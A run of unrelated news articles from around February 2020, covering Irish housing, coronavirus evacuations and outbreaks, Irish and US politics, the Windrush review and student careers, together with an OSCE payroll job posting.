homes have been sold at Clonlara since the development, situated in a largely unspoiled and picturesque hamlet called Kerry Pike, was launched on the north-west outskirts of Cork city in 2017. Being built by O'Flynn Construction tomorrow sees the release of the final phase of 14 homes. Prices start at 345,000 for a three-bed semi measuring between 1,113 sq ft and 1,237 sq ft, with a 1,334-sq ft, four-bed version costing from 372,000. The four-bed detached styles, meanwhile, span between 1,800 sq ft and 2,370 sq ft, with prices starting at 475,000. The final units for sale overlook a large green space. The houses have a classical-style appearance, complemented by a cobbled front driveway and soft planting enclosed by black railings. Inside, the living room has a solid fuel stove and some of the bedrooms come with fitted wardrobes. The A-rated homes at Clonlara have energy-saving features such as an air-to-water heat pump. Kerry Pike is close to Blarney and is a few minutes' drive from Apple's European HQ in the Cork suburb of Hollyhill. The showhouses are on view tomorrow, between 10am and 12pm. Source: Xinhua| 2020-02-22 03:57:33|Editor: Mu Xuequan Video Player Close HONG KONG, Feb. 22 (Xinhua) -- The second chartered flight arranged by the Hong Kong Special Administrative Region (HKSAR) government arrived in Hong Kong in the small hours of Saturday, bringing back 82 Hong Kong residents from the novel coronavirus-inflicted Diamond Princess cruise ship in Japan. The flight landed at the Hong Kong International Airport at around 1:40 a.m. local time. Those passengers will undergo the same 14-day quarantine as the first batch of 106 Hong Kong residents who returned on Thursday. There were also two Macao residents arriving in Hong Kong by the flight, who were taken to Macao by the vehicle arranged by the Macao Special Administrative Region government. Director of Immigration of the HKSAR government Erick Tsang said on Saturday in Japan that there were another 18 people who did not catch the chartered flight and would take other flights back to Hong Kong later Saturday. Diamond Princess, initially carrying around 3,700 passengers and crew from more than 50 countries and regions, had been quarantined at the Yokohama Port south of Tokyo since Feb. 5. Before the evacuation operation by the HKSAR government, there were altogether 364 Hong Kong residents on board the quarantined ship, including 66 tested positive for the new virus and 41 close contacts, according to John Lee, Secretary for Security of the HKSAR government. The HKSAR government said in a statement shortly after the arrival of the flight on Saturday that those diagnosed with the disease will stay in Japan for medical treatment, and there will be HKSAR government staff to offer assistance to those still in Japan. In addition, Secretary for Food and Health Sophia Chan Siu-chee said on Friday that the HKSAR government will also bring back those close contacts as soon as possible, provided they test negative for the virus and their conditions are fit to take the plane. One of Galveston's most treasured historical landmarks, the 1892 Bishop's Palace, is currently undergoing renovations thanks to a grant from the Texas Historical Commission (THC). The Galveston Historical Foundation (GHF) was awarded the $66,000 grant late last year to pay for renovations to the building's conservatory, located on the East side of the property, according to a release. Also known as Gresham's Castle, the palace is one of Galveston's many beloved Victorian-style, historical homes located off Broadway and is listed on the National Register of Historic Places. THEN AND NOW: Galveston historical buildings Renovations include reconstructing the original copper roof to its initial design and repairing corroded steel supports. The repairs were pushed back due to weather delays and are expected to last no more than two months, according to Will Wright, Chief Executive Officer of the GHF. "The conservatory is a long-standing part of the palace that we have been wanting to give some attention to and this grant finally allows us to do that," Wright said. "We are looking forward to finally get some work completed on it." ON HOUSTON CHRONICLE.COM: Galveston foundation buys Bishop's Palace Wright said future renovations to the palace include entirely replacing the intricate roof, which comes at an estimated cost of $3 million. "There are only a few places in the U.S. that can fabricate those [roof] tiles," Wright said. "So we are in the research phase for that." Despite the ongoing renovations, the building is still open to the public for tours. Wright said the palace will be featured in the upcoming Galveston Historic Homes Tour slated for May. "Galveston has the largest concentration of preexisting 1900s homes in the country and the ability for people to come to Galveston and see that architecture and these homes is really unique and special," Wright said. "Bishop's Palace is the extreme level of that... it really is a great icon of the history of the island." The mansion was originally built for Col. Walter Gresham, a lawyer and a lobbyist, for $8 million in 2013 dollars, according to a previous Houston Chronicle article. It was dubbed Bishop's Palace after it was purchased in 1921 for Bishop Christopher Byrne. The GHF bought the home in 2013. The museum is still the second-most popular attraction on Galveston Island and welcomes thousands of visitors every year. Find more on Bishop's Palace on the GHF's website. Rebecca Hennes covers community news. Read her on our breaking news site, Chron.com, and on our subscriber site, houstonchronicle.com. | rebecca.hennes@chron.com (Newser) After a couple brought a baby with the umbilical cord still attached to a Missouri hospital last week, claiming they had found the newborn on their porch, police soon uncovered the disturbing truth. At their home in suburban St. Louis, police found an 11-year-old girl who had given birth in a bathtub, USA Today reports. Three of her relatives were arrested, including the couple who brought the baby to the hospital and 17-year-old Norvin L. Lopez-Cante. Police say the teen admitted sexually assaulting his relative more than 100 times, the St. Louis-Dispatch reports. story continues below The teen has been charged with incest, statutory rape, and statutory sodomy of a child, according to court documents. Lesbia Cante and Francisco Javier Gonzalez-Lopez have been charged with child endangerment. Cante has also been charged with failing to provide medical care for the birth. According to court documents, Gonzalez-Lopez told police that he didn't know that Lopez-Cante, his son, was raping the girl, or that she was pregnant, KSDK reports. Lopez-Cante told investigators that he had been having sex with the girl around twice a week. He also claimed not to have known she was pregnant. (Read more Missouri stories.) Source: Xinhua| 2020-02-21 07:17:23|Editor: xuxin Video Player Close Irish Prime Minister Leo Varadkar (C) leaves the official residence of the Irish president after tendering his resignation to Irish President Michael D. Higgins (L) in Dublin, Ireland, Feb. 20, 2020. The newly formed lower house of the Irish parliament failed to elect a new prime minister for the country during its first sitting held here on Thursday, reported Irish national radio and television broadcaster RTE. (Xinhua) DUBLIN, Feb. 20 (Xinhua) -- The newly formed lower house of the Irish parliament failed to elect a new prime minister for the country during its first sitting held here on Thursday, reported Irish national radio and television broadcaster RTE. None of the candidates nominated by the country's four largest political parties won the minimum required quota of the votes from all the 160 members of the lower house, who participated in Thursday's voting, said the report. According to the report, Sinn Fein leader Mary Lou McDonald won 45 votes, ranking the highest among the four candidates, followed by 41 votes for Fianna Fail leader Micheal Martin, 36 votes for Fine Gael leader Leo Varadkar, and 12 votes for Green Party leader Eamon Ryan. The newly elected chair of the lower house of the Irish parliament Sean O Fearghail announced an adjournment till March 5 when another round of voting for the country's prime minister will be called. Following the conclusion of Thursday's meeting of the lower house, outgoing Irish Prime Minister Leo Varadkar paid a visit to the official residence of the Irish president where he is expected to tender his resignation, said the report. According to Irish laws, Varadkar will continue to exercise his duty as a caretaker prime minister of the country after his resignation until a new prime minister is elected, it said. Irish President Michael D. Higgins is mostly likely to accept Varadkar's resignation later on Thursday night, said RTE. According to Irish laws, once a new prime minister is elected by the lower house and approved by the president, he or she is required to form a government that must win the support from over half of the members of the lower house. If he or she fails to form a government, a new general election will be called, said local watchers. Earlier on Thursday afternoon, Sean O Fearghail has been re-elected as chair of the lower house of the Irish parliament by winning 130 votes while his sole competitor, Denis Naughten, an independent member of the lower house, received 28 votes. A reception committee headed by Ahmedabad Mayor Bijal Patel has been formed to look after various aspects of US President Donald Trump's visit here on February 24, Gujarat Chief Minister Vijay Rupani said on Friday. Rupani told reporters that 'Swagat Samiti' has been give the task for Trump's welcome and preparations regarding the visit. "Today, a Swagat Samiti (committee) under the chairmanship of city mayor has been formed. It also has two members of Parliament, some Padma awardees and also prominent citizens. The committee has been given the task for Trump's welcome and preparations regarding it (visit)," Rupani said when asked if he was aware about such a Samiti. On Thursday, MEA spokesperson Raveesh Kumar told media persons that the Donald Trump Nagarik Abhivadan Samiti is the organiser of the event. After the MEA statement,Congress spokesperson Randeep Surjewala had asked Prime Minister Narendra Modi to explain who all are in this Samiti. "Dear P.M, Intriguing from @MEAIndia ! Pl state- 1. Who is the President of Donald Trump Abhinandan Samiti? 2. When was the invitation extended to U.S President & accepted? 3. Why is President Trump then saying you have promised him a grand event with 7 million people?" Surjewala had tweeted. "Why is Gujarat Govt then spending ?120 Crore for a 3 hour event organized by an unknown Pvt entity? India values its visiting dignitaries but pl note- Diplomacy is serious govt business & not a series of photo-ops & event management tactics," he added. Meanwhile, the mayor's office said Bijal Patel is the chairperson of the Abhivadan Samiti mentioned by the MEA. "Honorable Mayor Bijal Patel is the Chairperson of Donald Trump Nagrik Abhivadan Samiti," the mayor's office tweeted. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Payroll Assistant, Vienna, Austria Organization: Organization for Security and Co-operation in Europe (OSCE) Country: Austria City: Vienna, Austria Office: OSCE Vienna Closing date: Monday, 16 March 2020 Issued by: OSCE Secretariat Vacancy number: VNSECG01513 Vacancy type: Local Contracted Field of expertise: Human Resources Management Grade: G4 Number of posts: 1 Duty station: Vienna Date of issue: 17 February 2020 Deadline for application: 16 March 2020 - 23: 59 Central European Time (CET/CEST) Background The OSCE has a comprehensive approach to security that encompasses politico-military, economic and environmental, and human aspects. It therefore addresses a wide range of security-related concerns, including arms control, confidence- and security-building measures, human rights, national minorities, democratization, policing strategies, counter-terrorism and economic and environmental activities. All 57 participating States enjoy equal status, and decisions are taken by consensus on a politically, but not legally binding basis. The OSCE Secretariat in Vienna assists the Chairmanship in its activities, and provides operational and administrative support to the field operations, and, as appropriate, to other institutions. The Department of Human Resources (DHR) ensures that the OSCE has the human resources capacity necessary to successfully implement its mandates. DHR sets the policies and provides services in the areas of recruitment, administration of benefits and entitlements, payroll, performance management, training and ethics across the Organization. The Human Resources Services Section is part of the Department of Human Resources, and is responsible for planning, execution and control of human resources management programmes at the OSCE, such as compensation schemes, entitlements and benefits, job classification scheme, performance evaluation system, social security packages, implementation of Staff Regulations and Rules and development of staff/management relations. It provides the full range of personnel support services to management and staff at OSCE, including the development, formulation and/or adaptation of OSCE personnel policies, rules and procedures and management and administration of entitlements, including participation in social security coverage, payroll and ERP system administration. Tasks and Responsibilities As the successful candidate for the post of the Payroll Assistant, you will be one of the six members in the Payroll Unit. Under the direct supervision of the Chief, Payroll and ERP Services, the main duties consist of administration of non-recurring elements for the OSCE Secretariat payroll, invoice processing in relation to payroll, administration of provident fund action requests from staff and initiation of their access to Utmosts website. More specifically, you will be tasked with: Reviewing all overtime and daily staff attendance records in order to assure correctness of calculation prior to making entries in the HR Oracle module, checking payroll deductions to ensure that all contributions and/or deductions are entered into staff members assignments correctly and following up on unprocessed items; Assessing and entering requests for additional payroll deductions into staff members assignments using manual or batch upload entries; making sure that all applicable pay or deductions elements are properly recorded and end dated accurately, as required, depending on employee assignment or employment; Preparing interpreters and translators payroll entries; Maintaining payroll files; Raising invoices for payment of education allowance and for removal of household items upon appointment and separation of staff members, ensuring proper handling of VAT and entry of respective elements in the HR Oracle module; Issuing invoices for salary advances and perform entries in HR Oracle module; On the basis of financial and payroll reports, preparing the Payroll Clearing Accounts Reconciliation on a monthly basis for the OSCE Secretariat; Following up on any outstanding balances on the zero balance of various payroll-clearing accounts and guaranteeing their clearance; Following up on the Running Balance Payroll Clearing Accounts where balances exist and need to be monitored monthly; proceeding with corrective action, if deemed necessary; Preparing and creating Unliquidated Obligation Reports at the fiscal year end; Performing other duties as required such as providing assistance and acting as a backup to other team members and drafting relevant correspondence. For more detailed information on the structure and work of the Department of Human Resources, please see: //www.osce.org/secretariat>http: //www.osce.org/secretariat. Necessary Qualifications Completed secondary education, supplemented by specialized training in the field of finance/accounting; A minimum of three years of working experience in accounting and administration; Professional fluency in English; working knowledge of German is an asset; knowledge of another official language of the OSCE is an asset; Ability to work under time pressure and in a deadline-driven environment; Attention to detail and accuracy; Computer literate with practical experience in Microsoft applications and ERP systems; Demonstrated gender awareness and sensitivity, and an ability to integrate a gender perspective into tasks and activities; Ability and willingness to work as a member of team, with people of different cultural, and religious backgrounds, different gender, and diverse political views, while maintaining impartiality and objectivity. Required competencies Core values Commitment: Actively contributes to achieving organizational goals Diversity: Respects others and values their diverse perspectives and contributions Integrity: Acts in a manner consistent with the Organizations core values and organizational principles Accountability: Takes responsibility for own action and delegated work Core competencies Communication: Actively works to achieve clear and transparent communication with colleagues and with stakeholders of the Organization Collaboration: Works effectively with others on common goals and fosters a positive, trust-based working environment Planning: Works towards the achievement of goals in a structured and measured manner Analysis and decision-making: Analyses available information, draws well-founded conclusions and takes appropriate decisions Initiative-taking: Proposes and initiates new ideas, activities and projects Flexibility: Responds positively and effectively to changing circumstances Managerial competencies (for positions with managerial responsibilities) Leadership: Provides a clear sense of direction, builds trust and creates an enabling environment Strategic thinking: Identifies goals that advance the organizational agenda and develops plans for achieving them Managing performance: Helps to maximize team performance by providing active feedback and skill development opportunities Remuneration Package Monthly remuneration, subject to social security deduction, is EUR 3,352 (12 times a year). OSCE salaries are exempt from taxation in Austria. Social benefits will include possibility of participation in the Cigna medical insurance scheme and the OSCE Provident Fund. Please note that appointments are normally made at step 1 of the applicable OSCE salary scale. How To Apply If you wish to apply for this position, please use the OSCEs online application link found under //jobs.osce.org/vacancies>https: //jobs.osce.org/vacancies. The OSCE retains the discretion to re-advertise/re-post the vacancy, to cancel the recruitment, to offer an appointment at a lower grade or to offer an appointment with a modified job description or for a different duration. Only those applicants who are selected to participate in the subsequent stages of recruitment will be contacted. Please note that vacancies in the OSCE are open for competition only amongst nationals of participating States, please see //www.osce.org/states>http: //www.osce.org/states. The OSCE is committed to diversity and inclusion within its workforce, and encourages qualified female and male candidates from all religious, ethnic and social backgrounds to apply to become a part of the Organization. Please note that for this position the OSCE does not reimburse expenses such as travel in connection with interviews, tests, visas and relocation. Please be aware that the OSCE does not request payment at any stage of the application and review process. President Donald Trump said Thursday that former adviser Roger Stone wont be pardoned after he was sentenced to more than three years in prison. Im not going to do anything in terms of the great powers bestowed upon a president of the United States, I want the process play out, I think thats the best thing to do, Trump said in Las Vegas. Because Id love to see Roger exonerated and Id love to see it happen because I personally think he was treated very unfairly. Stone was convicted on all seven counts of an indictment that accused him of lying to Congress, tampering with a witness, and obstructing the House investigation into Trumps campaign during the 2016 election season. Judge Amy Berman Jackson, an appointee of former President Barack Obama, denied that Stone was being punished for his politics or allies, saying that he was not prosecuted, as some have claimed, for standing up for the president. He was prosecuted for covering up for the president. Earlier this week, Trump told reporters that he hasnt given any thought to commuting Stones sentence, but said that somebody has to stick up for the people. At the same time, the Department of Justice last week withdrew his initial recommended sentence of seven-to-nine years in prison, prompting Democrats to call for investigations and hearings. In the wake of the judges decision, several top Democrats reacted to a potential presidential pardon to Stone, who was sentenced to 40 months in prison. House Intelligence Chairman Rep. Adam Schiff (D-Calif.), one of Trumps leading opponents in Congress, wrote on Twitter that Stones sentencing on Thursday was justified and said that if Trump pardons Stone, when his crimes were committed to protect Trump [it] would be a breathtaking act of corruption. If President Trump pardons Roger Stone, itll be a green light to Trumps accomplices to keep breaking the law & covering up for him. If any Republican actually cares about preserving rule of lawtheyll take their head out of the sand & stand up to Trump, Senate Minority Leader Chuck Schumer (D-N.Y.) wrote on Twitter. Stone chose not to speak when he was given the opportunity in a Washington court and showed no emotion when the sentence was read aloud. His attorney, Seth Ginsberg, downplayed the charges against him and said there was no planning involved in the obstruction conviction. Stones case doesnt end with the sentencing as Jackson indicated this week that she would delay the implementation of his penalty until after she decides whether he should get a new trial. From The Epoch Times JUNEAU, Alaska - A Kotzebue state lawmaker says he will not seek re-election this year, citing family considerations. Rep. John Lincoln, in a statement announcing his decision, said he is at a stage in his life that makes it extremely important for me to be present and to provide for my family. Lincoln has young children. He said he will finish the remainder of his term and when it is over, intends to return to work for NANA Regional Corp. Lincoln was appointed to the House in 2018 and is a member of the Houses bipartisan majority. His office said he changed his party registration from Democrat last year and is now an independent. QUEENSBURY Warren County supervisors decided Friday to hold off on filling an opening on the Warren-Washington Counties Industrial Development Agency during a wide-ranging discussion about how those appointments can be made. The Warren County board had planned to fill an opening on the IDA that was left behind by Horicon Supervisor Matt Simpsons decision to step away from the volunteer board after six years. The bicounty board has 10 members, five each from Warren and Washington counties, appointed by the respective boards of supervisors. And that scrutiny continued Friday, as the decision to replace Simpson was tabled amid questions about whether policies for the appointment were being followed. Whitehead was a part of the discussion, as he said a review of IDA rules seemed to show he was never actually removed from the board. He said he planned to attend its meeting next month as a member, but then later Friday said it appeared that his term did expire at the end of 2019. Several Warren County supervisors also objected to having too little notice that Chairman Frank Thomas was seeking to replace Simpson with businessman Larry Stephenson. Queensbury at-Large Supervisor Doug Beaty said IDA appointments should go through the Board of Supervisors Personnel Committee, but Thomas and former board Chairman Kevin Geraghty said the appointments were historically made by the Board of Supervisors chairman based on a review of interested or suggested candidates. I did it the way it was handed to me, said Geraghty, the Warrensburg town supervisor. Thomas said the board had little advance notice that Stephenson was his choice, because he had only recently got an affirmative answer that Stephenson would accept the appointment. Whitehead also questioned whether the law was followed, and Thomas said he would get an opinion from county Attorney Mary Kissane. Kissane said she planned to consult with the IDAs counsel. So the county board pulled the resolution for Stephensons appointment, pending a review of the procedure. Stephenson owns Stephenson Lumber, Lincoln Logs and Adirondack Truss in Chester and Johnsburg. He is a good, upstanding community member, Chester Supervisor Craig Leggett said. They (his businesses) are a great asset to our community. Whitehead, meanwhile, had two Queensbury residents speak out on his behalf during Fridays meeting. Chris Lynch called the decision to boot him from the board a travesty, while former Queensbury at-Large Supervisor Mark Westcott said that to remove Whitehead without explanation was wrong, and that there did not seem to be an actual provision to make such a removal. Westcott wondered whether Whitehead was not reappointed because he asked too many questions about IDA activities. It sends a message that if you question, challenge or identify something thats wrong, you might be treated the same way, Westcott said. Don Lehman covers police and court matters, Warren County government and the outdoors. He can be reached at 518-742-3224 or dlehman@poststar.com Love 1 Funny 5 Wow 2 Sad 0 Angry 8 With technology and online resources at your fingertips, and with similarly minded modern expatriates communicating and collaborating all over the world, its never been easier to live in a foreign land. But packing it in entails more than packing your bags. From tax codes to residency restrictions to health care systems, each country offers a slightly different introduction to expatriate life. Daniela Coleman, 42, an American university administrator whose career has led her back and forth across the pond several times (shes now a resident in Bologna, Italy), has faced all of these logistical hurdles at one time or another. Her advice: Make sure youre ready. A lot of people fantasize about living abroad, particularly after having a junior year abroad experience, she said. But one has to figure out: How do I want to do it? Here are five things you should consider before you make the move. 1. Vetting Visas Anyone who isnt marrying a foreigner and moving to that persons country must check the visa requirements in their destination. When Jennifer Ceaser, 51, a freelance travel writer, moved from the U.S. to Europe in 2016, she assumed she had a visa sponsor through a relative in Germany. When that fell through, she faced a year of frustrating appointments and a bureaucratic nightmare only to be denied. With the help of a lawyer, she made a second round of applications and finally got a two-year visa. A third person has been charged after a Brisbane school teacher was allegedly tied to a chair and later hit and killed by a truck on a highway in northern NSW. Anthony Stott was struck while walking along the M1 near Cudgera Creek on February 10. Police allege the 43-year-old had earlier been tied to a chair at a property on Kanes Road in Cudgera Creek. Anthony Stott, 43, a respected French teacher at Brisbane's St Peters Lutheran College, died about 7am on February 10 It is not known if he was freed or escaped before somehow making his way to the motorway. Lauren Clair Grainger, 39, and Mark Francis Frost, 46, have previously been charged with taking or detaining the 43-year-old with the intent to obtain advantage. The duo remain before the courts. Police on Thursday arrested a third person over the incident. A 49-year-old man was charged with taking or detaining a person in company with the intent to obtain advantage occasioning actual bodily harm, NSW Police said in a statement on Friday. The man has been refused bail to appear before Tweed Heads Local Court on Friday. NSW Police say Mr Stott's BMW was found in the middle of the M1 at 2am on February 10 - a short distance from the Kanes Road home where he was allegedly tied up. He was struck by the truck about 7am. Mark Francis Frost, 46, (left) and Lauren Claire Grainger, 38, (right) have been charged with detaining with intent to obtain advantage WASHINGTON The United States Department of Agriculture and the Environmental Protection Agency announced a memorandum of agreement that would address challenges rural water systems face. Those challenges include aging infrastructure, workforce shortages, increasing costs, limited management and decline rate bases. Through this MOA, the USDA and EPA will conduct joint activities to help rural water systems continue to provide access to safe drinking water and have a strong foundation in order to address 21st century challenges. Rural water systems play a key role in the lives all Americans, said David Ross, the EPA assistant administrator for the Office of Water, in a statement. Investing resources in rural system infrastructure and management supports EPAs goal of ensuring that rural communities have the infrastructure necessary to become sustainable, protect public health and support the rural economy. The MOA focuses on four areas. First, the EPA and USDA will continue supporting sustainability and resilience by providing resources such as training and education to incorporate these strategies into utility management. Second, the agencies will support water system partnerships by educating communities and utilities on the array of tools available to increase sustainability. Third, the MOA will also support the water sector workforce, in part through promotional initiatives to raise awareness of rural water sector careers. Fourth, the EPA and USDA will continue supporting compliance with drinking water and clean water regulations, including by making these rural systems a funding priority. More than 97% of the countrys 153,000 public water systems serve fewer than 10,000 people and 78% of the 15,000 wastewater treatment plants treat less than one million gallons per day, with these small systems facing unique challenges in providing affordable drinking water and wastewater services that meet federal and state regulations and ensuring sustainable operations. To learn more about this MOA, visit usda.gov. Listen to the latest episode at this link, or on your favorite app including Alexa, Apple, Google, Spotify and Stitcher. Episodes are available every morning on PennLive. Subscribe/Follow and rate the podcast via your favorite app. Today in Pa. Daily Podcast | Feb. 21, 2020 Leaders of a western Pa. drug ring plead guilty in federal court. A Pittsburgh firefighter is charged with sex offenses involving a minor. In Centre County, a man leads police on a 20 mile per hour car chase. The members of Green Day showed up at karaoke night at a Pennsylvania bar and crush it. Those are the stories we are covering in the latest episode of Today in Pa, a daily weekday podcast from PennLive.com and hosted by Julia Hatmaker. Today in Pa is dedicated to sharing the most important and interesting stories in the state. Todays episode refers to the following articles: If you enjoy Today in Pa, consider leaving us a review on Apple Podcasts or on Amazon. Reviews help others find the show and, besides, we like to know what you think of the program. Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. Contributed photo STAMFORD Disaster-relief nonprofit Americares announced plans this week to expand its services during the next four months in the Bahamas, which was devastated last year by the Category 5 Hurricane Dorian. Medical teams from Americares will provide free primary care and mental health services, seven days a week, on the Abaco Islands to support more hurricane survivors. The Stamford-based agency said it is working with the Bahamas Ministry of Health to implement its Commitment to Action for 3,500 patient consultations through June. Reports from Italy confirmed 16 new cases of the COVID-19 virus on Friday, with 14 diagnosed in the northern Lombardy region on Feb. 21. Six of the people are the first discovered cases who have been infected via local transmission, Reuters reports. Authorities encouraged the residents of Codogno and Castiglione dAdda, in north Italy, to stay home and avoid social interactions to minimize the spread of the virus. Many of the 14 new cases represented the first infections in Italy acquired through secondary contagion. The cluster in the Lombardy region was located in a handful of tiny towns around Lodi, said the Lombardy regional health chief Giulio Gallera. The first patient, a 38-year-old-man, became sick and had the coronavirus symptoms after he met a friend who had recently come back from China, according to Gallera. The patient is now transferred to the intensive care unit. The wife of the first patient and one of his friends were also infected. None of the three had traveled to China. Three patients at the hospital in Codogno where he went with flu-like symptoms on Feb. 18 also have infections, as do five nurses and doctors. Local officials were monitoring all those who had been in contact with the infected patients. They have identified most of the contacts of the new patients and tested 100 people for the virus. Another three people, who frequented the same cafe in the Lombardy region, also tested positive Friday in addition to the eight people at Codogno hospital, Gallera said. The only three infected people in Italy before Friday were two Chinese tourists who came back from Wuhan, the center of the outbreak of the virus, in January; and an Italian who was among the 56 evacuees from Wuhan who tested positive for the virus and a week later was hospitalized. In response to the emerging cluster, the mayor of Codogno ordered schools, public buildings, restaurants and coffee shops closed. The Italian health ministry ordered anyone who came into direct contact with the first three people who tested positive to be quarantined for 14 days. Local officials in another town, Casalpusterlengo, ordered local schools closed through Tuesday. A third town where the infected couple live, Castiglione dAdda, said its libraries, public offices, gyms, and garbage depots would be closed as a health precaution. Italian Prime Minister Giuseppe Conte said to reporters that his government had initiated new measurements such as obligatory quarantine for all those people who have been in contact with the infected cases. He urged the people who had been in the areas with regards to potential exposure to a high-risk for human-to-human transmission during the last two weeks not to go out. Other Cases Two new deaths from the COVID-19 disease took place in Iran, authorities said on Feb. 21. Iranian authorities reported the first cases of the disease, which is caused by a new coronavirus, on Thursday. In an update soon after, they said the first two patients in the country both died. South Korean health officials confirmed 100 new cases of the novel coronavirus on Feb. 21, bringing the national total to 204. The country has the largest number of cases outside of China besides the cluster from the Diamond Princess cruise ship, which is docked in Japan. The new cases mark the biggest daily jump in infection cases in a single day since South Korea reported its first case on Jan. 20. Japans health minister said the last cruise ship passengers who tested negative for a new virus will leave the Diamond Princess on Friday after a much-criticized quarantine of the vessel ended. The ship docked at a Yokohama port has the most COVID-19 cases outside of China, with 634 confirmed by late Thursday. Two former 80-year-old passengers have died. Epoch Times staff contributed to this report. Ambiguity in politics is a necessary, but not sufficient condition for creating a morally healthy society. The victory of the Aam Aadmi Party (AAP) in the recently held Delhi assembly elections seems to have evoked differential responses from commentators who have chosen to evaluate such a victory on the spectrum of criticism. For example, those who consider themselves radically secular have expressed rather strong reservations, which could be seen by the former as politically discomforting. These reservations relate to AAPs position on certain important issues that have a bearing on secularism. Such critiques particularly point at AAPs failure to take an unambiguous stand in favour of the Shaheen Bagh protestors. Some of these commentators, thus, suggest the need, for a more categorical and clear politics as the only mode that has to be followed by political parties. As a corollary to this viewpoint, some of the critiques have expressed a lurking fear in AAPs strategy to remain less vocal on the secular issue or keeping the religious issue out of the electoral campaign. The scepticism of the radical secularists weighs on the fear that AaP, in its attempts to deflate the Bharatiya Janata Party (BJP) by using the same language, however, is not doing so without risk. The AAP leaders did plan to undercut the political significance of such language that has been used by AAPs opponent. AAP might ultimately end up perfecting the same language, to the extent that it might become the victim of its own strategy. Some secularists tend to interpret this as AAPs turn towards soft Hindutva. AAPs strategy to use Hindu symbols in its campaign has to be understood in the context of the anxiety that seems to have gripped its leaders. It thought, perhaps for the right reason, that a section of the Indian electorate is still susceptible to the election campaign that sought to polarise the voters on communal lines. This anxiety found its support in the recent Delhi assembly elections where the percentage of votes to the BJP saw some increase. But, a large section of the electorate has supported AAP in terms of the large number of seats the party has won. However, it is interesting to note that AAPs victory has had its fallout as well. The BJPs main party leaders were forced to admit, just for a change, that the party made the mistake of using highly provocative language, such as calling AAP leaders terrorists or using the explosive expression of goli maro (shoot the opponents). On the other hand, the restrained campaign of AAP turned out to be electorally beneficial to it. The strategic campaign of AAP and its resultant success gave the BJP the realisation that using explosive language can turn out to be counterproductive. Does it mean that the BJP would be careful hereafter? At the moment, no one but the BJP can answer this question in its future modes of electoral politics. A report which concluded that the Home Office was 'institutionally racist' over its 'hostile environment' immigration policy has been watered down, it was revealed last night. The review into the Government's policy towards migrants has seen the claim edited out of the final draft. It was commissioned in 2018 after Caribbean migrants were detained or deported despite having the right to remain in Britain. The report was expected to be published at the end of March last year but has been subject to delay. Sources told The Times that the phrase 'institutionally racist' was included in an early draft of the report but no longer appears in more recent versions. The Empire Windrush was most famous for trips form the West Indies which brought people to work in the UK It comes as the Home Secretary Priti Patel, tried to move her most senior civil servant in the Home Office, permanent secretary Sir Philip Rutman, following genuine disagreements between the pair, it emerged yesterday Previous leaked versions found that the department was 'reckless' and had a 'defensive culture' over immigration policy, according to the paper. Last week, leaks from an early version of the report emerged during a row over the deportation of criminals to Jamaica. It said that the Government should consider ending the removal of 'foreign-born offenders' who had come to Britain as children. The Windrush Review is being led by Wendy Williams, the inspector of constabulary. Government sources said that it was right that she be given time to complete her work. It comes after it emerged Home Secretary Priti Patel, tried to move her most senior civil servant in the Home Office, permanent secretary Sir Philip Rutman, following genuine disagreements between the pair. But sources denied claims that she had bullied and belittled officials, or that she had made unreasonable demands or created an atmosphere of fear. And the Home Office said no formal complaints had been made. The report has been seen by some officials, but sources stressed that it has not yet been seen by ministers. It was revealed that there are concerns in Whitehall that the members of the panel which helped to write the review could publicly criticise the Government if the report is changed significantly. It is currently going through the process of 'Maxwellisation' - the principle under which a report is shown to ministers and officials it is critical of and they are given the chance to respond. Labour MP David Lammy, who has campaigned on the Windrush scandal, said it had resulted in the 'systematic deportation and detention of black citizens by the Home Office'. Labour MP David Lammy, who has campaigned on the Windrush scandal, said it had resulted in the 'systematic deportation and detention of black citizens by the Home Office' He added: 'The victim's nationality and rights were denied because of the colour of their skin. If that is not institutionally racist, I have no idea what is. 'It would be an outrage and insult to the Windrush generation for Wendy Williams's independent review to be watered down for political reasons. 'The truth must be published in full.' The fallout from the Windrush scandal led to the resignation of Home Secretary Amber Rudd. The Government came under intense criticism over the 'hostile environment' policy championed by then Prime Minister Theresa May. The term 'institutional racism' was famously used in February 1999 to describe Scotland Yard and its response to the murder of the black teenager Stephen Lawrence. The official review, by Sir William Macpherson, defined the term as 'discriminating through unwitting prejudice, thoughtlessness and racist stereotyping'. A Home Office spokesman said: 'This is an independent review being led by Wendy Williams. 'She has not yet submitted the final report to the Home Office. 'Once we have received it, we will publish it as soon as paracticable. Ministers have not seen any version of the report.' Are Torontos universities out of touch with the needs of the marketplace? As fears that a shortage of skilled labour is looming over the future of work in the Toronto region, students who will soon enter the workforce are searching for ways to diversify their skills. Writing, reading, research, presentation the skills associated with some of the most common undergraduate degrees are proving insufficient for the elaborate needs of an ever-digitized labour market. This has students turning to extracurriculars and volunteer opportunities to better prepare themselves for life after graduation. How can young people set themselves up for success? Here, four GTA students share their strategies and solutions for developing new skills, becoming employable, and what schools can do to prepare them for the jobs of the future. Jazz Dev, 24, Ryerson University It took me a while to figure out which career path I wanted to take. I went into university not really knowing what I wanted to do, and left feeling basically the same way. I went into the humanities because I figured I should study something I enjoyed, and then maybe do a masters degree and continue an education in whatever area I found most interesting. Luckily, through a job I had as a customer sales representative at TD, I got a taste of the real world, and realized I wanted to diversify my skill set to become more employable. I ended up joining a program called the Advanced Digital and Professional Training Program (ADaPT), a skill-development and placement program, where I learned a variety of digital skills valuable in todays job market, like how to read analytics, the basics of design, and the basics of programs like Adobe Suite. The program eventually led me to realize what I wanted to do to work as a project co-ordinator. The opportunity made me think about how useful a multi-faceted skill-development program like that would be for a first-year university student figuring out what they want to do after graduation. While my experience in university certainly improved my writing, teamwork and presentation skills, I know I would have benefited from more technical digital skills at least the basics tenets of them. Siobhan Wagner, 21, University of Toronto I went to a couple of career-finding events at U of T last year, and while talking to some of the people who were there to offer advice, I learned that most of them wished theyd have taken more business courses in school. A lot of them felt unprepared for work involving negotiation, communication and networking skills. As someone studying biochemistry, I felt similarly. For me and most of my peers, the bulk of our skills often lie in research. Theres a lack of ability for science students to communicate their ideas in business to talk about marketing, advertising and so on. So, were set up for success if we want to go to grad school, but not if we want to go into entrepreneurial areas that we know are growing in Toronto like the tech sector. Im trying to improve those skills with a business course Im now taking at U of T, through which Im interning at a start-up specializing in property-management assistance. We know tech specialists are increasingly in demand, and being able to put those skills toward business-focused activities has been useful. In general, I wish schools would incorporate more on-the-job opportunities for students that allow them to expand their skill sets and get real-world experiences. I really had to dig to find an 